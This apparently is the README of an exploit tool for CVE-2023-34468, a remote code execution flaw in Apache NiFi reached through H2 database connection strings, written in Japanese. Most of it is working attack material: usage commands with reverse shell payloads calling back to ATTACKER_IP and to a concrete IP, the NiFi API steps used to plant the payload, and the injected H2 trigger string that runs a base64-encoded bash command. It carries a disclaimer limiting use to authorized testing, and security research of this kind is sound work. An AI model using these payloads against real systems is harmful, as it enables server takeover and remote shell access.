
CVE-2023-34468 - Apache NiFi H2 RCE PoC
このリポジトリは、Apache NiFi バージョン 0.0.2 から 1.21.0 に存在する重大なリモートコード実行脆弱性(CVSS 9.8)である CVE-2023-34468 向けの Python ベースのエクスプロイトツールを提供します。この脆弱性により、認証済みユーザーが埋め込みトリガーを含む H2 データベース接続文字列を操作して、任意のコードを実行できます。
⚠️ 警告: 教育目的および許可されたテスト目的のみに使用してください。コンピュータシステムへの不正アクセスは違法です。
requests ライブラリnc -lnvp 5555)git clone https://github.com/Jeanpt/CVE-2023-34468.git
cd CVE-2023-34468
pip install -r requirements.txt
# Start your listener
nc -lnvp 5555
# Run the exploit — auth is auto-detected, no flags needed for open instances
python3 exploit.py \
-t http://nifi.target.com:8080 \
-c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
-lh ATTACKER_IP \
-lp 5555
python3 exploit.py \
-t https://nifi.target.com:8443 \
-c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
-lh ATTACKER_IP \
-lp 5555 \
-u admin -p password123
python3 exploit.py \
-t https://nifi.target.com:8443 \
-c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
-lh ATTACKER_IP \
-lp 5555 \
--token <your_bearer_token>
python3 exploit.py -t http://target:8080 -c "..." -lh ATTACKER_IP -lp 5555 --no-cleanup
python3 exploit.py --help
| コマンド | 説明 |
|---|---|
-t, --target | ターゲット NiFi インスタンスの URL(必須) |
-c, --command | 実行するコマンド(必須) |
-lh, --lhost | コールバック用リスナーホスト(必須) |
-lp, --lport | コールバック用リスナーポート(必須) |
-u, --username | NiFi ユーザー名(認証ありインスタンス) |
-p, --password | NiFi パスワード(認証ありインスタンス) |
--token | ベアラートークン(認証ありインスタンス) |
--no-cleanup | エクスプロイト後のクリーンアップをスキップ |
--delay | クリーンアップ前の待機秒数(デフォルト: 10) |
--driver-path | H2 ドライバ jar のパスを上書き(デフォルトでは省略) |
確認: リスナーでリバースシェル接続を確認してください。id を実行してコード実行を確認します。
/nifi-api/system-diagnostics で NiFi バージョンを特定/nifi-api/process-groups/root/controller-services に POST/nifi-api/controller-services/{id}/run-status に state ENABLED で PUT/nifi-api/processors/{id}/run-status に state RUNNING で PUT — H2 トリガーが接続時に発火jdbc:h2:file:/tmp/{random_db}.db;TRACE_LEVEL_SYSTEM_OUT=0\;CREATE TRIGGER {random_name}
BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
java.lang.Runtime.getRuntime().exec('bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|{bash,-i}')
$$--=x
重要なポイント:
\;BEFORE SELECT ON INFORMATION_SCHEMA.TABLES で発火(自動トリガー)# Run exploit directly
python3 exploit.py -t http://target:8080 -c "bash -i >& /dev/tcp/10.10.16.46/5555 0>&1" -lh 10.10.16.46 -lp 5555
python3 exploit.py -t http://target:8080 -c "touch /tmp/pwned" -lh 127.0.0.1 -lp 5555
このツールは、セキュリティ研究および許可されたテストのみを目的として提供されます。作者は、このエクスプロイトの誤用または損害について責任を負いません。必ず許可された環境でのみ責任を持ってテストしてください。
MIT License - 詳細は LICENSE ファイルを参照してください
セキュリティ研究および許可された侵入テスト用に構築されています。
トピック: apache-nifi h2-database rce exploit cve-2023-34468 python security-research